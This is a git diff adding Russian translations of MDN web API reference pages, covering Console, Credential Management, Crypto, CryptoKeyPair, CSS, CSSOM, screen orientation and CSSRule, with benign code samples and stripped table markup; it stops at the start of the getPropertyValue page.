Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся.
+
msg
+
Строка JavaScript, содержащая 0 и более подстановочных символов для замен.
+
subst1 ... substN
+
JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в msg. Это даст вам дополнительный контроль над форматом вывода.
+
+ +

Больше подробностей смотрите в разделе Вывод текста в консоль документации {{domxref("console")}}.

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
Console API
+ Определение 'console.warn()' в спецификации.		Живой стандартПервоначальное определение
+ +

Совместимость с браузерами

+ +
{{Compat("api.Console.warn")}}
+ +

Смотрите также

+ + +
+
diff --git a/files/ru/web/api/console_api/index.html b/files/ru/web/api/console_api/index.html new file mode 100644 index 0000000000..09ca028cb3 --- /dev/null +++ b/files/ru/web/api/console_api/index.html @@ -0,0 +1,72 @@ +--- +title: Console API +slug: Web/API/Console_API +tags: + - API + - console + - Отладка +translation_of: Web/API/Console_API +--- +
{{DefaultAPISidebar("Console API")}}
+ +
Console API обеспечивает функциональность, которая позволяет разработчикам выполнять задачи по отладке, такие как логгирование сообщений или значений переменных в определённых местах кода, измерение времени, требуемое на выполнение задачи
+ +

Понятие и использование

+ +

Console API изначально было собственным API с различной браузерной реализацией. Спецификация Console API была создана, чтобы согласовать поведение. Сейчас все современные браузеры используют эту реализацию. Хотя некоторые реализации имеют свои собственные функции. Узнать больше можно здесь:

+ + + +

Использование крайне простое — объект {{domxref("console")}} ({{domxref("window.console")}} в браузерах или {{domxref("WorkerGlobalScope.console")}} в Web Worker) содержит множество методов, которые вы можете вызвать для выполнения отлададки. В основном используется для вывода веб-консоль различных значений.

+ +

Один из самых часто используемых методов {{domxref("console.log")}}, который используют для вывода текущего значения переменной.

+ +

Интерфейсы

+ +
+
{{domxref("console")}}
+
Обеспечивает простую функциональность для отладки. Включает в себя логгирование, трассировку, таймеры и счётчики.
+
+ +

Примеры

+ +
let myString = 'Hello world';
+
+// Вывод "Hello world" в консоль
+console.log(myString)
+ +

Смотрите больше примеров на странице Console.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Console")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/credential_management_api/index.html b/files/ru/web/api/credential_management_api/index.html new file mode 100644 index 0000000000..5d4036b042 --- /dev/null +++ b/files/ru/web/api/credential_management_api/index.html @@ -0,0 +1,65 @@ +--- +title: Credential Management API +slug: Web/API/Credential_Management_API +tags: + - API + - Credential Management API + - Landing + - NeedsContent + - Overview + - Reference + - credential management +translation_of: Web/API/Credential_Management_API +--- +

{{DefaultAPISidebar("Credential Management API")}}{{ SeeCompatTable() }}

+ +

The Credential Management API (API управления учетными данными) позволяет веб-сайту хранить и извлекать учетные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учетную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истекшим сроком действия.

+ +

Концепции и использование учетных данных

+ +

Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учетными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учетными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учетных данных. Это дает пользователям такие возможности, как просмотр федеративной учетной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истекшим сроком действия.

+ +
+

Этот API ограничен контекстами верхнего уровня. Вызовы get() и store() внутри элемента <iframe> вполнятся без эффекта.

+
+ +

Учетные данные, общие для поддомена

+ +

Более поздняя версия спецификации позволяет получать учетные данные из другого поддомена. Например, пароль, хранящийся в login.example.com, может использоваться для входа на www.example.com. Чтобы это использовать, пароль должен быть явно сохранен путем вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация рекомендует использовать PSL только для определения действующей области учетных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.

+ +

Интерфейсы

+ +
+
{{domxref("Credential")}}
+
Предоставляет информацию о сущности в качестве предварительного условия для принятия решения о доверии.
+
{{domxref("CredentialsContainer")}}
+
Предоставляет методы для запроса учетных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в navigator.credentials.
+
{{domxref("FederatedCredential")}}
+
Предоставляет информацию об учетных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. OpenID Connect является примером такой структуры.
+
{{domxref("PasswordCredential")}}
+
Предоставляет информацию о паре имени пользователя и пароля.
+
{{domxref("PublicKeyCredential")}}
+
Предоставляет учетные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Credential Management')}}{{Spec2('Credential Management')}}Первоначальное определение.
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}Первоначальное определение.
diff --git a/files/ru/web/api/crypto/index.html b/files/ru/web/api/crypto/index.html new file mode 100644 index 0000000000..87ea3710d5 --- /dev/null +++ b/files/ru/web/api/crypto/index.html @@ -0,0 +1,68 @@ +--- +title: Crypto +slug: Web/API/Crypto +tags: + - API + - Web Crypto API + - Интерфейс + - Справка +translation_of: Web/API/Crypto +--- +

{{APIRef("Web Crypto API")}}

+ +

Интерфейс Crypto представляет базовые криптографические функции, доступные в общеупотребительном контексте. Он позволяет получить доступ к криптографически сильному генеретору случайных чисел и к криптографическим примитивам.

+ +

Объект с этим интерфейсом доступен в Web-контексте через свойство {{domxref("Window.crypto")}}.

+ +

Свойства

+ +

Этот интерфейс реализует свойства, объявленные в {{domxref("RandomSource")}}.

+ +
+
{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}
+
Возвращает объект {{domxref("SubtleCrypto")}}, предоставляющий доступ к часто используемым криптографическим примитивам, таким как хэширование, цифровые подписи, шифрование и расшифрование.
+
+ +

Методы

+ +

Этот интерфейс реализует методы, объявленные в {{domxref("RandomSource")}}.

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
Заполняет переданные {{ jsxref("TypedArray") }} случайными в криптографическом смысле значениями.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}{{Spec2("Web Crypto API")}}Исходное описание
+ +

Совместимость с браузерами

+ + + + + +

{{Compat("api.Crypto")}}

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/cryptokeypair/index.html b/files/ru/web/api/cryptokeypair/index.html new file mode 100644 index 0000000000..6a9c82fa3d --- /dev/null +++ b/files/ru/web/api/cryptokeypair/index.html @@ -0,0 +1,73 @@ +--- +title: CryptoKeyPair +slug: Web/API/CryptoKeyPair +tags: + - API + - CryptoKeyPair + - Web Crypto API +translation_of: Web/API/CryptoKeyPair +--- +
{{APIRef("Web Crypto API")}}
+ +

CryptoKeyPair из Web Crypto API представляет собой пару ключей для ассиметричных криптографических алгоритмов, также известных как алгоритмы с публичным-приватным ключом.

+ +

Объект CryptoKeyPair может быть получен с помощью {{domxref("SubtleCrypto.generateKey()")}}, используя один из следующих алгоритмов: RSASSA-PKCS1-v1_5, RSA-PSS, RSA-OAEP, ECDSA, или ECDH.

+ +

У него всего два свойства, оба объекты CryptoKey: свойства privateKey, содержащее приватный ключ, и publicKey с публичным ключом.

+ +

Свойства

+ +
+
CryptoKeyPair.privateKey
+
Объект CryptoKey, представляющее приватный ключ. В криптографических алгоритмах используется для разшифровывания и подписи.
+
CryptoKeyPair.publicKey
+
Объект CryptoKey, представляющее публичный ключ. В криптографических алгоритмах используется для зашифровывания и проверки подлинности подписи.
+
+ +

Примеры

+ +

Методы SubtleCrypto обычно используют объекты CryptoKeyPair. Примеры:

+ + + +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Web Crypto API', '#dfn-CryptoKeyPair', 'CryptoKeyPair') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CryptoKeyPair")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/css/index.html b/files/ru/web/api/css/index.html new file mode 100644 index 0000000000..7d03faadb5 --- /dev/null +++ b/files/ru/web/api/css/index.html @@ -0,0 +1,128 @@ +--- +title: CSS +slug: Web/API/CSS +translation_of: Web/API/CSS +--- +
{{APIRef("CSSOM")}}
+ +

Интерфейс CSS имеет полезные CSS-связанные методы. нет объекта реализованного с этим интерфейсом: он содержит только статичиские методы и, следовательно, является утилитарным интерфейсом.

+ +

Свойства

+ +

Интерфейс CSS это утилитарный интерфейс и не имеет объектов этого типа которые могут быть созданы: только статитеские методы определены в нем.

+ +

Методы

+ +

Интерфейс CSS это утилитарный интерфейс и не имеет объектов этого типа которые могут быть созданы: только статитеские методы определены в нем.

+ +

Статические методы

+ +

Не наследует статических методов.

+ +
+
{{domxref("CSS.supports()")}}
+
Возвращает {{domxref("Boolean")}} показывающие или свойство property-value, или состояние, даюющее в параметре поддерживаемые.
+
+ +
+
{{domxref("CSS.escape()")}} {{experimental_inline}}
+
Может быть быть использован для вывода строки в основном для использования в качестве части CSS селектора.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSSOM', '#the-css.escape%28%29-method', 'CSS')}}{{Spec2('CSSOM')}}Добавлен escape() статический метод.
{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}{{Spec2('CSS3 Conditional')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка28.0{{CompatGeckoDesktop("22.0")}} [1]6.012.1{{CompatNo}}
escape(){{experimental_inline}}46.0{{CompatGeckoDesktop("31.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}[1]{{CompatNo}}12.1{{CompatNo}}
escape(){{experimental_inline}}{{CompatNo}}{{CompatGeckoMobile("31.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] было доступно layout.css.supports-rule.enabled начиная с Gecko 20.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/css_object_model/index.html b/files/ru/web/api/css_object_model/index.html new file mode 100644 index 0000000000..c9d2a9c8d6 --- /dev/null +++ b/files/ru/web/api/css_object_model/index.html @@ -0,0 +1,208 @@ +--- +title: CSS Object Model (CSSOM) +slug: Web/API/CSS_Object_Model +tags: + - API + - CSSOM +translation_of: Web/API/CSS_Object_Model +--- +
{{DefaultAPISidebar('CSSOM')}}
+ +

CSS Object Model представляет собой набор API-интерфейсов, позволяющих манипулировать CSS из JavaScript. Это очень похоже на DOM, но для CSS, а не HTML. Это позволяет пользователям динамически читать и изменять стиль CSS.

+ +

Ссылки

+ +
+ +
+ +

 

+ +

Несколько других интерфейсов также расширены спецификациями, связанными с CSSOM:

+ +

{{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.

+ +

CSS Typed Object Model {{experimental_inline}}

+ +

{{SeeCompatTable}}

+ +
+ +
+ +

Устаревшие CSSOM interfaces {{obsolete_inline}}

+ +

{{obsolete_header}}

+ +
+ +
+ +

Уроки

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Typed OM")}}{{Spec2("CSS Typed OM")}} 
{{SpecName("CSS Painting API")}}{{Spec2("CSS Painting API")}}Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.
{{SpecName("CSSOM View")}}{{Spec2("CSSOM View")}}Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.
{{SpecName("CSSOM")}}{{Spec2("CSSOM")}}Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.
{{SpecName("Screen Orientation")}}{{Spec2("Screen Orientation")}} 
{{SpecName("CSS3 Fonts")}}{{Spec2("CSS3 Fonts")}} 
{{SpecName("CSS3 Animations")}}{{Spec2("CSS3 Animations")}} 
{{SpecName("CSS3 Transitions")}}{{Spec2("CSS3 Transitions")}} 
{{SpecName("CSS3 Variables")}}{{Spec2("CSS3 Variables")}} 
{{SpecName("CSS3 Conditional")}}{{Spec2("CSS3 Conditional")}}Defined the {{DOMxRef("CSS")}} interface.
{{SpecName("CSS3 Device")}}{{Spec2("CSS3 Device")}} 
{{SpecName("CSS3 Counter Styles")}}{{Spec2("CSS3 Counter Styles")}} 
{{SpecName("DOM2 Style")}}{{Spec2("DOM2 Style")}}Initial definition.
+ +

Совместимость с браузерами

+ +

Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведен в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.

+ +

Смотрите также

+ + diff --git "a/files/ru/web/api/css_object_model/\320\276\321\200\320\270\320\265\320\275\321\202\320\260\321\206\320\270\321\217_\321\215\320\272\321\200\320\260\320\275\320\260/index.html" "b/files/ru/web/api/css_object_model/\320\276\321\200\320\270\320\265\320\275\321\202\320\260\321\206\320\270\321\217_\321\215\320\272\321\200\320\260\320\275\320\260/index.html" new file mode 100644 index 0000000000..a6b16cba4a --- /dev/null +++ "b/files/ru/web/api/css_object_model/\320\276\321\200\320\270\320\265\320\275\321\202\320\260\321\206\320\270\321\217_\321\215\320\272\321\200\320\260\320\275\320\260/index.html" @@ -0,0 +1,183 @@ +--- +title: Разбираемся с ориентацией экрана +slug: Web/API/CSS_Object_Model/ориентация_экрана +tags: + - Ориентация экрана + - Положение экрана + - Руководство +translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation +--- +

{{DefaultAPISidebar("Screen Orientation API")}}{{SeeCompatTable}}

+ +

Ориентация экрана не идентична ориентации устройства. +Даже если устройство не способно определить свое положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для +сохранения или адаптации интерфейса веб-приложения.

+ +

Управление ориентацией экрана доступно в CSS и JavaScript. +Например, использование медиа-запросов позволяет контенту адаптироваться с помощью CSS в зависимости от того, в каком режиме просмотра находится браузер: альбомный (горизонтальный, когда ширина экрана больше высоты) или портретный (вертикальный, высота экрана больше ширины).

+ +

Для определения положения экрана и его блокировки можно воспользоваться JavaScript Screen orientation API.

+ +

Настройка раскладки содержимого по ориентации экрана

+ +

Допустим Вы хотите связать отображение содержимого с ориентацией экрана. Например, добавить панель, растягивающуюся по наибольшему направлению дисплея устройства. Это довольно просто реализовать с помощью медиа запросов.

+ +

Пример. Имеется HTML страница:

+ +
<ul id="toolbar">
+  <li>A</li>
+  <li>B</li>
+  <li>C</li>
+</ul>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.</p>
+
+ +

Соответствующий CSS:

+ +
/* Сначала зададим простые стили */
+
+html, body {
+  width : 100%;
+  height: 100%;
+}
+
+body {
+  border: 1px solid black;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+p {
+  font   : 1em sans-serif;
+  margin : 0;
+  padding: .5em;
+}
+
+ul {
+  list-style: none;
+
+  font   : 1em monospace;
+  margin : 0;
+  padding: .5em;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+
+  background: black;
+}
+
+li {
+  display: inline-block;
+  margin : 0;
+  padding: 0.5em;
+  background: white;
+}
+
+ +

Теперь разберемся с поведением страницы в различных случаях ориентации.

+ +
/* Для портретного режима отправим панель на верхнюю часть области отображения */
+
+@media screen and (orientation: portrait) {
+  #toolbar {
+    width: 100%;
+  }
+}
+
+/* Для альбомного режима пускай панель отображается слева */
+
+@media screen and (orientation: landscape) {
+  #toolbar {
+    position: fixed;
+    width: 2.65em;
+    height: 100%;
+  }
+
+  p {
+    margin-left: 2em;
+  }
+
+  li + li {
+    margin-top: .5em;
+  }
+}
+
+ +

Результат:

+ + + + + + + + + + + + + + +
Портреный режим просмотраАльбомный режим просмотра
+
{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}
+ 		+
{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}
+
+ +
+

Примечание: Медиа запрос по ориентации ссылается на окно браузера (соотношение его размеров), а не на ориентацию устройства.

+
+ +

Блокировка ориентации экрана

+ +
+

Предупреждение: Этот API вводится в экспериментальном режиме и доступен в Firefox OS и Firefox для Android с приставкой moz, а также для Internet Explorer на Windows 8.1 и выше с приставкой ms.

+
+ +

Некоторые устройства (в основном мобильные) могут изменять ориентацию экрана в соответствии с ориентацией самого устройства для удобства восприятия информации пользователем. +Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определенную ориентацию.

+ +

Урегулировать вопрос, связанный с изменением положения экрана, поможет интерфейс Screen Orientation API.

+ +

Отслеживание изменения ориентации

+ +

Событие {{event("orientationchange")}} возникает каждый раз, когда устройство изменяет ориентацию экрана и самого себя, и может быть отслежено свойством {{domxref("Screen.orientation")}}.

+ +
screen.addEventListener("orientationchange", function () {
+  console.log("The orientation of the screen is: " + screen.orientation);
+});
+
+ +

Запрещаем поворот экрана

+ +

Любое веб-приложение может заблокировать положение экрана. Методом {{domxref("Screen.lockOrientation()")}} положение блокируется. Разблокирование осуществляется методом {{domxref("Screen.unlockOrientation()")}}.

+ +

Метод {{domxref("Screen.lockOrientation()")}} принимает одну или несколько строк для определения типа блокировки: portrait-primary, portrait-secondary, landscape-primary, landscape-secondary, portrait, landscape. Подробнее: {{domxref("Screen.lockOrientation")}}.

+ +
screen.lockOrientation('landscape');
+ +
+

Примечание: Положение экрана зависит от конкретной настройки приложения. Если в приложении A экран блокируется на альбомную ориентацию (landscape), а приложение B блокирует экран на портретный режим (portrait), +то переход из приложения A в приложение B (или наоборот) не вызовет событие изменения ориентации экрана {{event("orientationchange")}}, т. к. оба приложения сохраняют заданную ориентацию.

+ +

В то же время, событие {{event("orientationchange")}} может возникнуть в момент блокировки ориентации, если для удовлетворения заданному параметру блокировки изменяется положение экрана.

+
+ +

Firefox OS и Android: блокирование ориентации через манифест

+ +

Для Firefox OS и Firefox Android (скоро заработает и в десктопном Firefox) существует более специфичный способ: в файле манифеста Вашего приложения можно указать ориентацию:

+ +
"orientation": "portrait"
+ +

См. также

+ + diff --git a/files/ru/web/api/cssconditionrule/index.html b/files/ru/web/api/cssconditionrule/index.html new file mode 100644 index 0000000000..9dd669526f --- /dev/null +++ b/files/ru/web/api/cssconditionrule/index.html @@ -0,0 +1,113 @@ +--- +title: CSSConditionRule +slug: Web/API/CSSConditionRule +translation_of: Web/API/CSSConditionRule +--- +

{{ APIRef("CSSOM") }}

+ +

An object implementing the CSSConditionRule interface represents a single condition CSS at-rule, which consists of a condition and a statement block. It is a child of {{domxref("CSSGroupingRule")}}.

+ +

Two objects derive from it : {{domxref("CSSMediaRule")}} and {{domxref("CSSSupportsRule")}}.

+ +

Syntax

+ +

The syntax is described using the WebIDL format.

+ +
interface CSSConditionRule : CSSGroupingRule {
+    attribute DOMString conditionText;
+}
+
+ +

Properties

+ +

The CSSConditionRule derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all properties of these classes. It has one specific property:

+ +
+
{{domxref("CSSConditionRule.conditionText")}}
+
Represents the text of the condition of the rule.
+
+ +

Methods

+ +

The CSSConditionRule derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all methods of these classes. It has no specific property of its own.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Conditional', '#the-cssconditionrule-interface', 'CSSConditionRule') }}{{ Spec2('CSS3 Conditional') }}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(56.0)}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("20.0") }}{{ CompatNo() }}{{CompatOpera(43)}}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatChrome(56.0)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("20.0") }}{{ CompatNo() }}{{CompatOperaMobile(43)}}{{ CompatNo() }}{{CompatChrome(56.0)}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/cssrule/index.html b/files/ru/web/api/cssrule/index.html new file mode 100644 index 0000000000..dcdb8381d1 --- /dev/null +++ b/files/ru/web/api/cssrule/index.html @@ -0,0 +1,323 @@ +--- +title: CSSRule +slug: Web/API/CSSRule +translation_of: Web/API/CSSRule +--- +
{{APIRef("CSSOM")}}
+ +

Интерфейс CSSRule представляет собой одно правило CSS. Есть несколько типов правил, перечисленных в разделе {{anch("Type constants")}} ниже.

+ +

Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определенных типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.

+ +

Ссылки на CSSRule выможете получить на странице {{domxref ("CSSStyleSheet")}} список cssRules.

+ +

Общие свойства для всех экземпляров CSSRule

+ +
+
{{domxref("CSSRule.cssText")}}
+
Represents the textual representation of the rule, e.g. "h1,h2 { font-size: 16pt }" or "@import 'url'". To access or modify parts of the rule (e.g. the value of "font-size" in the example) use the properties on the {{anch("Type constants", "specialized interface for the rule's type")}}.
+
{{domxref("CSSRule.parentRule")}} {{readonlyinline}}
+
Returns the containing rule, otherwise null. E.g. if this rule is a style rule inside an {{cssxref("@media")}} block, the parent rule would be that {{domxref("CSSMediaRule")}}.
+
{{domxref("CSSRule.parentStyleSheet")}} {{readonlyinline}}
+
Returns the {{domxref("CSSStyleSheet")}} object for the style sheet that contains this rule
+
{{domxref("CSSRule.type")}} {{readonlyinline}}
+
One of the {{anch("Type constants")}} indicating the type of CSS rule.
+
+ +

Константы

+ +

Типы констант

+ +

The CSSRule interface specifies integer constants that can be used in conjunction with a CSSRule's {{domxref("cssRule/type","type")}} property to discern the rule type (and therefore, which specialized interface it implements). The relationships between these constants and the interfaces are:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeValueRule-specific interfaceComments and examples
CSSRule.STYLE_RULE1{{domxref("CSSStyleRule")}}The most common kind of rule:
+ selector { prop1: val1; prop2: val2; }
CSSRule.IMPORT_RULE3{{domxref("CSSImportRule")}}An {{cssxref("@import")}} rule. (Until the documentation is completed, see the interface definition in the Mozilla source code: nsIDOMCSSImportRule.)
CSSRule.MEDIA_RULE4{{domxref("CSSMediaRule")}} 
CSSRule.FONT_FACE_RULE5{{domxref("CSSFontFaceRule")}} 
CSSRule.PAGE_RULE6{{domxref("CSSPageRule")}} 
CSSRule.KEYFRAMES_RULE7{{domxref("CSSKeyframesRule")}} {{experimental_inline}} 
CSSRule.KEYFRAME_RULE8{{domxref("CSSKeyframeRule")}} {{experimental_inline}} 
Reserved for future use9 Should be used to define color profiles in the future
CSSRule.NAMESPACE_RULE10{{domxref("CSSNamespaceRule")}} {{experimental_inline}} 
CSSRule.COUNTER_STYLE_RULE11{{domxref("CSSCounterStyleRule")}} {{experimental_inline}} 
CSSRule.SUPPORTS_RULE12{{domxref("CSSSupportsRule")}} 
CSSRule.DOCUMENT_RULE13{{domxref("CSSDocumentRule")}} {{experimental_inline}} 
CSSRule.FONT_FEATURE_VALUES_RULE14{{domxref("CSSFontFeatureValuesRule")}} 
CSSRule.VIEWPORT_RULE15{{domxref("CSSViewportRule")}} {{experimental_inline}} 
CSSRule.REGION_STYLE_RULE16{{domxref("CSSRegionStyleRule")}} {{experimental_inline}} 
CSSRule.UNKNOWN_RULE0{{domxref("CSSUnknownRule")}} {{obsolete_inline}} 
CSSRule.CHARSET_RULE2CSSCharsetRule {{obsolete_inline}}(Removed in most browsers.)
+ +

An up-to-date informal list of constants can be found on the CSSWG Wiki.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#css-rules', 'CSSRule')}}{{Spec2('CSSOM')}}Obsoleted values CHARSET_RULE and UNKNOWN_RULE. Added value NAMESPACE_RULE.
{{SpecName("CSS3 Animations",'#interface-cssrule', 'CSSRule')}}{{Spec2('CSS3 Animations')}}Added values KEYFRAMES_RULE and KEYFRAME_RULE.
{{SpecName('CSS3 Fonts', '#om-fontfeaturevalues', 'CSSRule')}}{{Spec2('CSS3 Fonts')}}Added value FONT_FEATURE_VALUES_RULE.
{{SpecName("CSS3 Counter Styles", "#extentions-to-cssrule-interface", 'CSSRule')}}{{Spec2("CSS3 Counter Styles")}}Added value COUNTER_STYLE_RULE.
{{SpecName("CSS3 Conditional", '#extentions-to-cssrule-interface', 'CSSRule')}}{{Spec2('CSS3 Conditional')}}Added value SUPPORTS_RULE. (DOCUMENT_RULE has been pushed to CSS Conditional Rules Level 4)
{{SpecName('DOM2 Style', 'css.html#CSS-CSSRule', 'CSSRule')}}{{Spec2('DOM2 Style')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
CSSKeyframesRule{{CompatUnknown}}{{CompatUnknown}}20.0 [4]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
CSSCharsetRule{{CompatNo}} [1]{{CompatUnknown}}{{CompatNo}} [3]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
CSSUnknownRule{{CompatNo}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
CSSKeyframesRule{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}20.0 [4]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
CSSCharsetRule{{CompatUnknown}}{{CompatNo}} [1]{{CompatUnknown}}{{CompatNo}} [3]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}} [1]
CSSUnknownRule{{CompatUnknown}}{{CompatNo}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} [2]
+
+ +

[1] CSSCharsetRule was removed in Chrome version 41.0.

+ +

[2] CSSUnknownRule was removed in Chrome version 45.0.

+ +

[3] CSSCharsetRule was removed in Gecko version 40.

+ +

[4] On Gecko, before Firefox 19, the keyframe-related constants existed only in their prefixed version: CSSRule.MOZ_KEYFRAMES_RULE and CSSRule.MOZ_KEYFRAME_RULE. From Firefox 20 onwards, both versions are available. The prefixed version will be removed in the future.

+ +

See also

+ + diff --git a/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html b/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html new file mode 100644 index 0000000000..853bd5c215 --- /dev/null +++ b/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html @@ -0,0 +1,114 @@ +--- +title: CSSStyleDeclaration.getPropertyValue() +slug: Web/API/CSSStyleDeclaration/getPropertyValue +translation_of: Web/API/CSSStyleDeclaration/getPropertyValue +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration.getPropertyValue() интерфейс метода, который возвращает {{domxref('DOMString')}}, указанного CSS свойства.

+ +

Синтаксис

+ +
